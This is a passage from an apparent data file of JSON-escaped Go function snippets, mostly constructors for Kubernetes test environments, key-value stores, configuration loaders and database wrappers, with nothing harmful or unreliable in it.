info\\\")\\n\\t}\\n\\tif _, ok := clusterInfo[masterClusterName]; !ok {\\n\\t\\tpanic(\\\"Master cluster is not specified in cluster info\\\")\\n\\t}\\n\\tif len(versionToClusterName) != len(clusterInfo) {\\n\\t\\tpanic(\\\"Cluster info initial versions have duplicates\\\")\\n\\t}\\n\\n\\treturn &metadataImpl{\\n\\t\\tlogger: logger,\\n\\t\\tenableGlobalDomain: enableGlobalDomain,\\n\\t\\treplicationConsumer: replicationConsumer,\\n\\t\\tfailoverVersionIncrement: failoverVersionIncrement,\\n\\t\\tmasterClusterName: masterClusterName,\\n\\t\\tcurrentClusterName: currentClusterName,\\n\\t\\tclusterInfo: clusterInfo,\\n\\t\\tversionToClusterName: versionToClusterName,\\n\\t}\\n}\",\n \"func New(t *testing.T, cfg Config) *Environment {\\n\\te := &Environment{\\n\\t\\thelmPath: \\\"../kubernetes_helm/helm\\\",\\n\\t\\tsynkPath: \\\"src/go/cmd/synk/synk_/synk\\\",\\n\\t\\tt: t,\\n\\t\\tcfg: cfg,\\n\\t\\tscheme: k8sruntime.NewScheme(),\\n\\t\\tclusters: map[string]*cluster{},\\n\\t}\\n\\tif cfg.SchemeFunc != nil {\\n\\t\\tcfg.SchemeFunc(e.scheme)\\n\\t}\\n\\tscheme.AddToScheme(e.scheme)\\n\\n\\tvar g errgroup.Group\\n\\t// Setup cluster concurrently.\\n\\tfor _, cfg := range cfg.Clusters {\\n\\t\\t// Make name unique to avoid collisions across parallel tests.\\n\\t\\tuniqName := fmt.Sprintf(\\\"%s-%x\\\", cfg.Name, time.Now().UnixNano())\\n\\t\\tt.Logf(\\\"Assigned unique name %q to cluster %q\\\", uniqName, cfg.Name)\\n\\n\\t\\tcluster := &cluster{\\n\\t\\t\\tgenName: uniqName,\\n\\t\\t\\tcfg: cfg,\\n\\t\\t}\\n\\t\\te.clusters[cfg.Name] = cluster\\n\\n\\t\\tg.Go(func() error {\\n\\t\\t\\tif err := setupCluster(e.synkPath, cluster); err != nil {\\n\\t\\t\\t\\t// If cluster has already been created, delete it.\\n\\t\\t\\t\\tif cluster.kind != nil && os.Getenv(\\\"NO_TEARDOWN\\\") == \\\"\\\" {\\n\\t\\t\\t\\t\\tcluster.kind.Delete(cfg.Name, \\\"\\\")\\n\\t\\t\\t\\t\\tif cluster.kubeConfigPath != \\\"\\\" {\\n\\t\\t\\t\\t\\t\\tos.Remove(cluster.kubeConfigPath)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treturn errors.Wrapf(err, \\\"Create cluster %q\\\", cfg.Name)\\n\\t\\t\\t}\\n\\t\\t\\tlog.Printf(\\\"Created cluster %q\\\", cfg.Name)\\n\\t\\t\\treturn nil\\n\\t\\t})\\n\\t}\\n\\tif err := g.Wait(); err != nil {\\n\\t\\tt.Fatal(err)\\n\\t}\\n\\treturn e\\n}\",\n \"func New(path, index string) (*Gpks, error) {\\n\\tfile, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tinx, err := os.OpenFile(index, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tinx.Close()\\n\\treturn &Gpks{\\n\\t\\tsid: make(map[string]int64),\\n\\t\\tnid: make(map[int64]int64),\\n\\t\\tfile: file,\\n\\t\\tpath: path,\\n\\t\\tindex: index,\\n\\t\\tmutex: new(sync.Mutex),\\n\\t}, nil\\n}\",\n \"func (configMapTemplateFactory) New(def client.ResourceDefinition, c client.Interface, gc interfaces.GraphContext) interfaces.Resource {\\n\\tcm := parametrizeResource(def.ConfigMap, gc, configMapParamFields).(*v1.ConfigMap)\\n\\treturn report.SimpleReporter{BaseResource: newConfigMap{Base: Base{def.Meta}, ConfigMap: cm, Client: c.ConfigMaps()}}\\n}\",\n \"func New(fs machinery.Filesystem) store.Store {\\n\\treturn &yamlStore{fs: fs.FS}\\n}\",\n \"func NewFake(force bool) (m starlark.HasAttrs, closeFn func(), err error) {\\n\\t// Create a fake API store with some endpoints pre-populated\\n\\tcm := corev1.ConfigMap{\\n\\t\\tTypeMeta: metav1.TypeMeta{\\n\\t\\t\\tAPIVersion: \\\"v1\\\",\\n\\t\\t\\tKind: \\\"ConfigMap\\\",\\n\\t\\t},\\n\\t\\tData: map[string]string{\\n\\t\\t\\t\\\"client-ca-file\\\": \\\"contents\\\",\\n\\t\\t},\\n\\t}\\n\\tcmData, err := apiruntime.Encode(unstructured.UnstructuredJSONScheme, &cm)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\tfm := map[string][]byte{\\n\\t\\t\\\"/api/v1/namespaces/kube-system/configmaps/extension-apiserver-authentication\\\": cmData,\\n\\t}\\n\\n\\ts := httptest.NewTLSServer(&fakeKube{m: fm})\\n\\n\\tu, err := url.Parse(s.URL)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\th := \\\"https://\\\" + u.Host\\n\\ttlsConfig := rest.TLSClientConfig{\\n\\t\\tInsecure: true,\\n\\t}\\n\\trConf := &rest.Config{Host: h, TLSClientConfig: tlsConfig}\\n\\n\\tt, err := rest.TransportFor(rConf)\\n\\tif err != nil {\\n\\t\\treturn nil, nil, err\\n\\t}\\n\\n\\tk := New(\\n\\t\\th,\\n\\t\\tfakeDiscovery(),\\n\\t\\tdynamic.NewForConfigOrDie(rConf),\\n\\t\\t&http.Client{Transport: t},\\n\\t\\tfalse, /* dryRun */\\n\\t\\tforce,\\n\\t\\tfalse, /* diff */\\n\\t\\tnil, /* diffFilters */\\n\\t)\\n\\n\\treturn newFakeModule(k.(*kubePackage)), s.Close, nil\\n}\",\n \"func New() kv.Store {\\n\\treturn newStore(newMapStore())\\n}\",\n \"func NewKVStore() KVStore {\\n\\treturn &localStore{\\n\\t\\tm: map[string][]byte{},\\n\\t}\\n}\",\n \"func New(configFile string) *Config {\\n\\tc, err := ioutil.ReadFile(configFile)\\n\\tif err != nil {\\n\\t\\tlog.Panicf(\\\"Read config file %s failed: %s\\\", configFile, err.Error())\\n\\t}\\n\\tcfg := &Config{}\\n\\tif err := yaml.Unmarshal(c, cfg); err != nil {\\n\\t\\tlog.Panicf(\\\"yaml.Unmarshal config file %s failed: %s\\\", configFile, err.Error())\\n\\t}\\n\\treturn cfg\\n}\",\n \"func newKubeBuilder(appMan Manifest) Builder {\\n\\treturn &KubeBuilder{Manifest: appMan}\\n}\",\n \"func newKubeClient(kubeconfigPath string) (*versioned.Clientset, error) {\\n\\tvar err error\\n\\tvar kubeConf *rest.Config\\n\\n\\tif kubeconfigPath == \\\"\\\" {\\n\\t\\t// creates the in-cluster config\\n\\t\\tkubeConf, err = k8s.GetConfig()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"build default in cluster kube config failed: %w\\\", err)\\n\\t\\t}\\n\\t} else {\\n\\t\\tkubeConf, err = clientcmd.BuildConfigFromFlags(\\\"\\\", kubeconfigPath)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"build kube client config from config file failed: %w\\\", err)\\n\\t\\t}\\n\\t}\\n\\treturn versioned.NewForConfig(kubeConf)\\n}\",\n \"func NewVMTConfig(client *client.Client, etcdStorage storage.Storage, probeConfig *probe.ProbeConfig,\\n\\tspec *K8sTAPServiceSpec) *Config {\\n\\tconfig := &Config{\\n\\t\\ttapSpec: spec,\\n\\t\\tProbeConfig: probeConfig,\\n\\t\\tClient: client,\\n\\t\\tEtcdStorage: etcdStorage,\\n\\t\\tNodeQueue: vmtcache.NewHashedFIFO(cache.MetaNamespaceKeyFunc),\\n\\t\\tPodQueue: vmtcache.NewHashedFIFO(cache.MetaNamespaceKeyFunc),\\n\\t\\tVMTEventQueue: vmtcache.NewHashedFIFO(registry.VMTEventKeyFunc),\\n\\t\\tStopEverything: make(chan struct{}),\\n\\t}\\n\\n\\tvmtEventRegistry := registry.NewVMTEventRegistry(config.EtcdStorage)\\n\\n\\t//delete all the vmt events\\n\\terrorDelete := vmtEventRegistry.DeleteAll()\\n\\tif errorDelete != nil {\\n\\t\\tglog.Errorf(\\\"Error deleting all vmt events: %s\\\", errorDelete)\\n\\t}\\n\\n\\t// Watch minions.\\n\\t// Minions may be listed frequently, so provide a local up-to-date cache.\\n\\t// cache.NewReflector(config.createMinionLW(), &api.Node{}, config.NodeQueue, 0).RunUntil(config.StopEverything)\\n\\n\\t// monitor unassigned pod\\n\\tcache.NewReflector(config.createUnassignedPodLW(), &api.Pod{}, config.PodQueue, 0).RunUntil(config.StopEverything)\\n\\n\\t// monitor vmtevents\\n\\tvmtcache.NewReflector(config.createVMTEventLW(), &registry.VMTEvent{}, config.VMTEventQueue, 0).RunUntil(config.StopEverything)\\n\\n\\treturn config\\n}\",\n \"func NewKVData(\\n\\tfeed *Feed,\\n\\tbucket, keyspaceId string,\\n\\tcollectionId string,\\n\\topaque uint16,\\n\\treqTs *protobuf.TsVbuuid,\\n\\tengines map[uint64]*Engine,\\n\\tendpoints map[string]c.RouterEndpoint,\\n\\tmutch <-chan *mc.DcpEvent,\\n\\tkvaddr string,\\n\\tconfig c.Config,\\n\\tasync bool,\\n\\topaque2 uint64) (*KVData, error) {\\n\\n\\tkvdata := &KVData{\\n\\t\\tfeed: feed,\\n\\t\\topaque: opaque,\\n\\t\\ttopic: feed.topic,\\n\\t\\tbucket: bucket,\\n\\t\\tkeyspaceId: keyspaceId,\\n\\t\\tcollectionId: collectionId,\\n\\t\\tconfig: config,\\n\\t\\tengines: make(map[uint64]*Engine),\\n\\t\\tendpoints: make(map[string]c.RouterEndpoint),\\n\\t\\t// 16 is enough, there can't be more than that many out-standing\\n\\t\\t// control calls on this feed.\\n\\t\\tsbch: make(chan []interface{}, 16),\\n\\n\\t\\treqTsMutex: &sync.RWMutex{},\\n\\t\\tgenServerStopCh: make(chan bool),\\n\\t\\tgenServerFinCh: make(chan bool),\\n\\t\\trunScatterFinCh: make(chan bool),\\n\\t\\trunScatterDoneCh: make(chan bool),\\n\\n\\t\\tstats: &KvdataStats{},\\n\\t\\tkvaddr: kvaddr,\\n\\t\\tasync: async,\\n\\t\\topaque2: opaque2,\\n\\t}\\n\\n\\tuuid, err := common.NewUUID()\\n\\tif err != nil {\\n\\t\\tlogging.Errorf(\\\"%v ##%x common.NewUUID() failed: %v\\\", kvdata.logPrefix, kvdata.opaque, err)\\n\\t\\treturn nil, err\\n\\t}\\n\\tkvdata.uuid = uuid.Uint64()\\n\\n\\tnumVbuckets := config[\\\"maxVbuckets\\\"].Int()\\n\\n\\tkvdata.stats.Init(numVbuckets, kvdata)\\n\\tkvdata.stats.mutch = mutch\\n\\n\\tfmsg := \\\"KVDT[<-%v<-%v #%v]\\\"\\n\\tkvdata.logPrefix = fmt.Sprintf(fmsg, keyspaceId, feed.cluster, feed.topic)\\n\\tkvdata.syncTimeout = time.Duration(config[\\\"syncTimeout\\\"].Int())\\n\\tkvdata.syncTimeout *= time.Millisecond\\n\\tfor uuid, engine := range engines {\\n\\t\\tkvdata.engines[uuid] = engine\\n\\t}\\n\\tfor raddr, endpoint := range endpoints {\\n\\t\\tkvdata.endpoints[raddr] = endpoint\\n\\t}\\n\\n\\t// start workers\\n\\tkvdata.workers = kvdata.spawnWorkers(feed, bucket, keyspaceId, config, opaque, opaque2)\\n\\t// Gather stats pointers from all workers\\n\\tkvdata.updateWorkerStats()\\n\\n\\tgo kvdata.genServer(reqTs)\\n\\tgo kvdata.runScatter(reqTs, mutch)\\n\\tlogging.Infof(\\\"%v ##%x started, uuid: %v ...\\\\n\\\", kvdata.logPrefix, opaque, kvdata.uuid)\\n\\treturn kvdata, nil\\n}\",\n \"func newVRFKeyStore(db *gorm.DB, sp utils.ScryptParams) *VRF {\\n\\treturn &VRF{\\n\\t\\tlock: sync.RWMutex{},\\n\\t\\tkeys: make(InMemoryKeyStore),\\n\\t\\torm: NewVRFORM(db),\\n\\t\\tscryptParams: sp,\\n\\t}\\n}\",\n \"func NewKVStore(envURL string) (KVStore, error) {\\n\\tu, err := url.Parse(envURL)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tswitch u.Scheme {\\n\\tdefault:\\n\\t\\treturn nil, fmt.Errorf(\\\"Unrecognized scheme for KVStore URL: %v\\\", u.Scheme)\\n\\tcase \\\"consul\\\":\\n\\t\\treturn makeConsulKVStore(u)\\n\\tcase \\\"file\\\":\\n\\t\\treturn makeHashMapKVStore(u)\\n\\t}\\n}\",\n \"func newVitessKeyspace(key client.ObjectKey, vt *planetscalev2.VitessCluster, parentLabels map[string]string, keyspace *planetscalev2.VitessKeyspaceTemplate) *planetscalev2.VitessKeyspace {\\n\\ttemplate := keyspace.DeepCopy()\\n\\n\\timages := planetscalev2.VitessKeyspaceImages{}\\n\\tplanetscalev2.DefaultVitessKeyspaceImages(&images, &vt.Spec.Images)\\n\\n\\t// Copy parent labels map and add keyspace-specific label.\\n\\tlabels := make(map[string]string, len(parentLabels)+1)\\n\\tfor k, v := range parentLabels {\\n\\t\\tlabels[k] = v\\n\\t}\\n\\tlabels[planetscalev2.KeyspaceLabel] = keyspace.Name\\n\\n\\tvar backupLocations []planetscalev2.VitessBackupLocation\\n\\tvar backupEngine planetscalev2.VitessBackupEngine\\n\\tif vt.Spec.Backup != nil {\\n\\t\\tbackupLocations = vt.Spec.Backup.Locations\\n\\t\\tbackupEngine = vt.Spec.Backup.Engine\\n\\t}\\n\\n\\treturn &planetscalev2.VitessKeyspace{\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tNamespace: key.Namespace,\\n\\t\\t\\tName: key.Name,\\n\\t\\t\\tLabels: labels,\\n\\t\\t\\tAnnotations: keyspace.Annotations,\\n\\t\\t},\\n\\t\\tSpec: planetscalev2.VitessKeyspaceSpec{\\n\\t\\t\\tVitessKeyspaceTemplate: *template,\\n\\t\\t\\tGlobalLockserver: *lockserver.GlobalConnectionParams(&vt.Spec.GlobalLockserver, vt.Namespace, vt.Name),\\n\\t\\t\\tImages: images,\\n\\t\\t\\tImagePullPolicies: vt.Spec.ImagePullPolicies,\\n\\t\\t\\tImagePullSecrets: vt.Spec.ImagePullSecrets,\\n\\t\\t\\tZoneMap: vt.Spec.ZoneMap(),\\n\\t\\t\\tBackupLocations: backupLocations,\\n\\t\\t\\tBackupEngine: backupEngine,\\n\\t\\t\\tExtraVitessFlags: vt.Spec.ExtraVitessFlags,\\n\\t\\t\\tTopologyReconciliation: vt.Spec.TopologyReconciliation,\\n\\t\\t\\tUpdateStrategy: vt.Spec.UpdateStrategy,\\n\\t\\t},\\n\\t}\\n}\",\n \"func NewKVStore(db *OrbitDB) *KVStore {\\n\\tkvs := &KVStore{\\n\\t\\tdb: db,\\n\\t\\tidx: &kvIndex{\\n\\t\\t\\tkv: make(map[string]string),\\n\\t\\t},\\n\\t}\\n\\n\\tmux := handler.NewMux()\\n\\tmux.AddHandler(OpPut, kvs.idx.handlePut)\\n\\tmux.AddHandler(OpDel, kvs.idx.handleDel)\\n\\n\\tgo db.Notify(mux)\\n\\n\\treturn kvs\\n}\",\n \"func New(\\n\\tname string,\\n\\tkvdbName string,\\n\\tkvdbBase string,\\n\\tkvdbMachines []string,\\n\\tclusterID string,\\n\\tkvdbOptions map[string]string,\\n) (AlertClient, error) {\\n\\tlock.Lock()\\n\\tdefer lock.Unlock()\\n\\n\\tif _, ok := instances[name]; ok {\\n\\t\\treturn nil, ErrExist\\n\\t}\\n\\tif initFunc, exists := drivers[name]; exists {\\n\\t\\tdriver, err := initFunc(\\n\\t\\t\\tkvdbName,\\n\\t\\t\\tkvdbBase,\\n\\t\\t\\tkvdbMachines,\\n\\t\\t\\tclusterID,\\n\\t\\t\\tkvdbOptions,\\n\\t\\t)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tinstances[name] = driver\\n\\t\\treturn driver, err\\n\\t}\\n\\treturn nil, ErrNotSupported\\n}\",\n \"func New(indexer cache.Store) *Manager {\\n\\tlogger := &bgplog.Logger{Entry: log}\\n\\tc := &metallbctl.Controller{\\n\\t\\tClient: bgpk8s.New(logger.Logger),\\n\\t\\tIPs: metallballoc.New(),\\n\\t}\\n\\n\\tf, err := os.Open(option.Config.BGPConfigPath)\\n\\tif err != nil {\\n\\t\\tlog.WithError(err).Fatal(\\\"Failed to open BGP config file\\\")\\n\\t}\\n\\tdefer f.Close()\\n\\n\\tconfig, err := bgpconfig.Parse(f)\\n\\tif err != nil {\\n\\t\\tlog.WithError(err).Fatal(\\\"Failed to parse BGP configuration\\\")\\n\\t}\\n\\tc.SetConfig(logger, config)\\n\\n\\tmgr := &Manager{\\n\\t\\tController: c,\\n\\t\\tlogger: logger,\\n\\n\\t\\tqueue: workqueue.New(),\\n\\t\\tindexer: indexer,\\n\\t}\\n\\tgo mgr.run()\\n\\n\\treturn mgr\\n}\",\n \"func New(file string, configBytes []byte, log logging.Logger, namespace string, reg prometheus.Registerer) (database.Database, error) {\\n\\tparsedConfig := config{\\n\\t\\tBlockCacheCapacity: DefaultBlockCacheSize,\\n\\t\\tDisableSeeksCompaction: true,\\n\\t\\tOpenFilesCacheCapacity: DefaultHandleCap,\\n\\t\\tWriteBuffer: DefaultWriteBufferSize / 2,\\n\\t\\tFilterBitsPerKey: DefaultBitsPerKey,\\n\\t\\tMaxManifestFileSize: DefaultMaxManifestFileSize,\\n\\t\\tMetricUpdateFrequency: DefaultMetricUpdateFrequency,\\n\\t}\\n\\tif len(configBytes) > 0 {\\n\\t\\tif err := json.Unmarshal(configBytes, &parsedConfig); err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"%w: %s\\\", ErrInvalidConfig, err)\\n\\t\\t}\\n\\t}\\n\\n\\tlog.Info(\\\"creating leveldb\\\",\\n\\t\\tzap.Reflect(\\\"config\\\", parsedConfig),\\n\\t)\\n\\n\\t// Open the db and recover any potential corruptions\\n\\tdb, err := leveldb.OpenFile(file, &opt.Options{\\n\\t\\tBlockCacheCapacity: parsedConfig.BlockCacheCapacity,\\n\\t\\tBlockSize: parsedConfig.BlockSize,\\n\\t\\tCompactionExpandLimitFactor: parsedConfig.CompactionExpandLimitFactor,\\n\\t\\tCompactionGPOverlapsFactor: parsedConfig.CompactionGPOverlapsFactor,\\n\\t\\tCompactionL0Trigger: parsedConfig.CompactionL0Trigger,\\n\\t\\tCompactionSourceLimitFactor: parsedConfig.CompactionSourceLimitFactor,\\n\\t\\tCompactionTableSize: parsedConfig.CompactionTableSize,\\n\\t\\tCompactionTableSizeMultiplier: parsedConfig.CompactionTableSizeMultiplier,\\n\\t\\tCompactionTotalSize: parsedConfig.CompactionTotalSize,\\n\\t\\tCompactionTotalSizeMultiplier: parsedConfig.CompactionTotalSizeMultiplier,\\n\\t\\tDisableSeeksCompaction: parsedConfig.DisableSeeksCompaction,\\n\\t\\tOpenFilesCacheCapacity: parsedConfig.OpenFilesCacheCapacity,\\n\\t\\tWriteBuffer: parsedConfig.WriteBuffer,\\n\\t\\tFilter: filter.NewBloomFilter(parsedConfig.FilterBitsPerKey),\\n\\t\\tMaxManifestFileSize: parsedConfig.MaxManifestFileSize,\\n\\t})\\n\\tif _, corrupted := err.(*errors.ErrCorrupted); corrupted {\\n\\t\\tdb, err = leveldb.RecoverFile(file, nil)\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"%w: %s\\\", ErrCouldNotOpen, err)\\n\\t}\\n\\n\\twrappedDB := &Database{\\n\\t\\tDB: db,\\n\\t\\tcloseCh: make(chan struct{}),\\n\\t}\\n\\tif parsedConfig.MetricUpdateFrequency > 0 {\\n\\t\\tmetrics, err := newMetrics(namespace, reg)\\n\\t\\tif err != nil {\\n\\t\\t\\t// Drop any close error to report the original error\\n\\t\\t\\t_ = db.Close()\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\twrappedDB.metrics = metrics\\n\\t\\twrappedDB.closeWg.Add(1)\\n\\t\\tgo func() {\\n\\t\\t\\tt := time.NewTicker(parsedConfig.MetricUpdateFrequency)\\n\\t\\t\\tdefer func() {\\n\\t\\t\\t\\tt.Stop()\\n\\t\\t\\t\\twrappedDB.closeWg.Done()\\n\\t\\t\\t}()\\n\\n\\t\\t\\tfor {\\n\\t\\t\\t\\tif err := wrappedDB.updateMetrics(); err != nil {\\n\\t\\t\\t\\t\\tlog.Warn(\\\"failed to update leveldb metrics\\\",\\n\\t\\t\\t\\t\\t\\tzap.Error(err),\\n\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tselect {\\n\\t\\t\\t\\tcase <-t.C:\\n\\t\\t\\t\\tcase <-wrappedDB.closeCh:\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}()\\n\\t}\\n\\treturn wrappedDB, nil\\n}\",\n \"func New[C db.Config](cfg C) db.Storage[C] {\\n\\treturn &MyStorage[C]{cfg: cfg}\\n}\",\n \"func NewKVStore (locationDirectory string) types.KVStore {\\r\\n\\tkvs := &Store {\\r\\n\\t\\tStorFileLocation : locationDirectory,\\r\\n\\t}\\r\\n\\r\\n\\treturn kvs\\r\\n}\",\n \"func New(name string, desc string, cfg interface{}) *Config {\\n\\treturn NewWithCommand(\\n\\t\\t&cobra.Command{\\n\\t\\t\\tUse: name,\\n\\t\\t\\tLong: desc,\\n\\t\\t\\tRun: func(cmd *cobra.Command, args []string) {},\\n\\t\\t}, cfg)\\n}\",\n \"func NewKeeper(\\n\\tcdc *codec.Codec, key sdk.StoreKey, ck internal.CUKeeper, tk internal.TokenKeeper, proto func() exported.CUIBCAsset) Keeper {\\n\\treturn Keeper{\\n\\t\\tkey: key,\\n\\t\\tcdc: cdc,\\n\\t\\tproto: proto,\\n\\t\\tck: ck,\\n\\t\\ttk: tk,\\n\\t}\\n}\",\n \"func New(c context.Context) (config.Interface, error) {\\n\\tsettings, err := FetchCachedSettings(c)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif settings.ConfigServiceURL == \\\"\\\" {\\n\\t\\treturn nil, ErrNotConfigured\\n\\t}\\n\\n\\tc = client.UseServiceAccountTransport(c, nil, nil)\\n\\tcfg := remote.New(c, settings.ConfigServiceURL+\\\"/_ah/api/config/v1/\\\")\\n\\tif settings.CacheExpirationSec != 0 {\\n\\t\\tf := NewCacheFilter(c, time.Duration(settings.CacheExpirationSec)*time.Second)\\n\\t\\tcfg = f(c, cfg)\\n\\t}\\n\\treturn cfg, nil\\n}\",\n \"func init() {\\n\\tif err := mb.Registry.AddMetricSet(\\\"consulkv\\\", \\\"kv\\\", New); err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n}\",\n \"func NewKVItem(ctx *Context) (*KVItem, error) {\\n\\tkvItem := KVItem{context: ctx}\\n\\tret := C.tiledb_kv_item_alloc(kvItem.context.tiledbContext, &kvItem.tiledbKVItem)\\n\\tif ret != C.TILEDB_OK {\\n\\t\\treturn nil, fmt.Errorf(\\\"Error creating tiledb kv: %s\\\", kvItem.context.LastError())\\n\\t}\\n\\n\\t// Set finalizer for free C pointer on gc\\n\\truntime.SetFinalizer(&kvItem, func(kvItem *KVItem) {\\n\\t\\tkvItem.Free()\\n\\t})\\n\\n\\treturn &kvItem, nil\\n}\",\n \"func NewFromFile(path string) (*ExecMeta, error) {\\n\\tdata, err := readFile(path)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tbuf := bytes.NewBuffer(data)\\n\\treturn NewFromReader(buf)\\n}\",\n \"func newGetCfgCommand() *cobra.Command {\\n\\tcommand := &cobra.Command{\\n\\t\\tUse: \\\"get\\\",\\n\\t\\tShort: \\\"get config\\\",\\n\\t\\tRunE: func(command *cobra.Command, _ []string) error {\\n\\t\\t\\tcomp, err := command.Flags().GetString(\\\"comp\\\")\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tstore, err := command.Flags().GetUint64(\\\"store\\\")\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\t// mock, err := command.Flags().GetBool(\\\"mock\\\")\\n\\t\\t\\t// if err != nil {\\n\\t\\t\\t// \\treturn err\\n\\t\\t\\t// }\\n\\t\\t\\tconfig, err := defaultConfigClient.Get(comp, store)\\n\\t\\t\\tfmt.Println(config)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\n\\tcommand.Flags().StringP(\\\"comp\\\", \\\"c\\\", \\\"tikv\\\", \\\"update component config\\\")\\n\\tcommand.Flags().Uint64P(\\\"store\\\", \\\"s\\\", 1,\\n\\t\\t\\\"update the given store ids value\\\")\\n\\treturn command\\n}\",\n \"func NewKeyValueStore(fd *feed.API, ai *account.Info, user utils.Address, client blockstore.Client, logger logging.Logger) *KeyValue {\\n\\treturn &KeyValue{\\n\\t\\tfd: fd,\\n\\t\\tai: ai,\\n\\t\\tuser: user,\\n\\t\\tclient: client,\\n\\t\\topenKVTables: make(map[string]*KVTable),\\n\\t\\tlogger: logger,\\n\\t}\\n}\",\n \"func (kvs *KVInitService) getKV() *KV {\\n\\tkv := kvs.kv.Load()\\n\\tif kv == nil {\\n\\t\\treturn nil\\n\\t}\\n\\treturn kv.(*KV)\\n}\",\n \"func (c *config) Meta() platform.Meta {\\n\\tnodes := c.ControllerCount\\n\\tfor _, workerpool := range c.WorkerPools {\\n\\t\\tnodes += workerpool.Count\\n\\t}\\n\\n\\tcharts := platform.CommonControlPlaneCharts(platform.ControlPlanCharts{\\n\\t\\tKubelet: !c.DisableSelfHostedKubelet,\\n\\t\\tNodeLocalDNS: c.EnableNodeLocalDNS,\\n\\t})\\n\\n\\tcharts = append(charts, helm.LokomotiveChart{\\n\\t\\tName: \\\"calico-host-protection\\\",\\n\\t\\tNamespace: \\\"kube-system\\\",\\n\\t})\\n\\n\\tcharts = append(charts, helm.LokomotiveChart{\\n\\t\\tName: \\\"packet-ccm\\\",\\n\\t\\tNamespace: \\\"kube-system\\\",\\n\\t})\\n\\n\\treturn platform.Meta{\\n\\t\\tAssetDir: c.AssetDir,\\n\\t\\tExpectedNodes: nodes,\\n\\t\\tControlplaneCharts: charts,\\n\\t\\tDeployments: append(platform.CommonDeployments(c.ControllerCount), []platform.Workload{\\n\\t\\t\\t{\\n\\t\\t\\t\\tName: \\\"calico-hostendpoint-controller\\\",\\n\\t\\t\\t\\tNamespace: \\\"kube-system\\\",\\n\\t\\t\\t},\\n\\t\\t\\t{\\n\\t\\t\\t\\tName: \\\"packet-cloud-controller-manager\\\",\\n\\t\\t\\t\\tNamespace: \\\"kube-system\\\",\\n\\t\\t\\t},\\n\\t\\t}...),\\n\\t\\tDaemonSets: platform.CommonDaemonSets(c.ControllerCount, c.DisableSelfHostedKubelet),\\n\\t\\tControllerModuleName: fmt.Sprintf(\\\"%s-%s\\\", Name, c.ClusterName),\\n\\t}\\n}\",\n \"func NewFromFile(filepath string, cfg *Config) error {\\n\\tvar cfgraw []byte\\n\\tvar err error\\n\\n\\tcfgraw, err = ioutil.ReadFile(filepath)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err = yaml.Unmarshal(cfgraw, &cfg); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func New() (Config, error) {\\n\\tpaths, err := getDefaultPaths()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tfor _, p := range paths {\\n\\t\\tconf, err := FromFile(p)\\n\\t\\tif err == nil {\\n\\t\\t\\treturn conf, nil\\n\\t\\t}\\n\\t\\t// Return an error if cloud.yaml is not well-formed; otherwise,\\n\\t\\t// just continue to the next file.\\n\\t\\tif parseErr, ok := err.(*ParseError); ok {\\n\\t\\t\\treturn nil, parseErr\\n\\t\\t}\\n\\t}\\n\\treturn nil, errors.New(\\\"config: no usable clouds.yaml file found\\\")\\n}\",\n \"func newConfigProviderFromFile(opts *Options) (*iniFileConfigProvider, error) {\\n\\tcfg := ini.Empty()\\n\\tnewFile := true\\n\\n\\tif opts.CustomConf != \\\"\\\" {\\n\\t\\tisFile, err := util.IsFile(opts.CustomConf)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"unable to check if %s is a file. Error: %v\\\", opts.CustomConf, err)\\n\\t\\t}\\n\\t\\tif isFile {\\n\\t\\t\\tif err := cfg.Append(opts.CustomConf); err != nil {\\n\\t\\t\\t\\treturn nil, fmt.Errorf(\\\"failed to load custom conf '%s': %v\\\", opts.CustomConf, err)\\n\\t\\t\\t}\\n\\t\\t\\tnewFile = false\\n\\t\\t}\\n\\t}\\n\\n\\tif newFile && !opts.AllowEmpty {\\n\\t\\treturn nil, fmt.Errorf(\\\"unable to find configuration file: %q, please ensure you are running in the correct environment or set the correct configuration file with -c\\\", CustomConf)\\n\\t}\\n\\n\\tif opts.ExtraConfig != \\\"\\\" {\\n\\t\\tif err := cfg.Append([]byte(opts.ExtraConfig)); err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"unable to append more config: %v\\\", err)\\n\\t\\t}\\n\\t}\\n\\n\\tcfg.NameMapper = ini.SnackCase\\n\\treturn &iniFileConfigProvider{\\n\\t\\topts: opts,\\n\\t\\tFile: cfg,\\n\\t\\tnewFile: newFile,\\n\\t}, nil\\n}\",\n 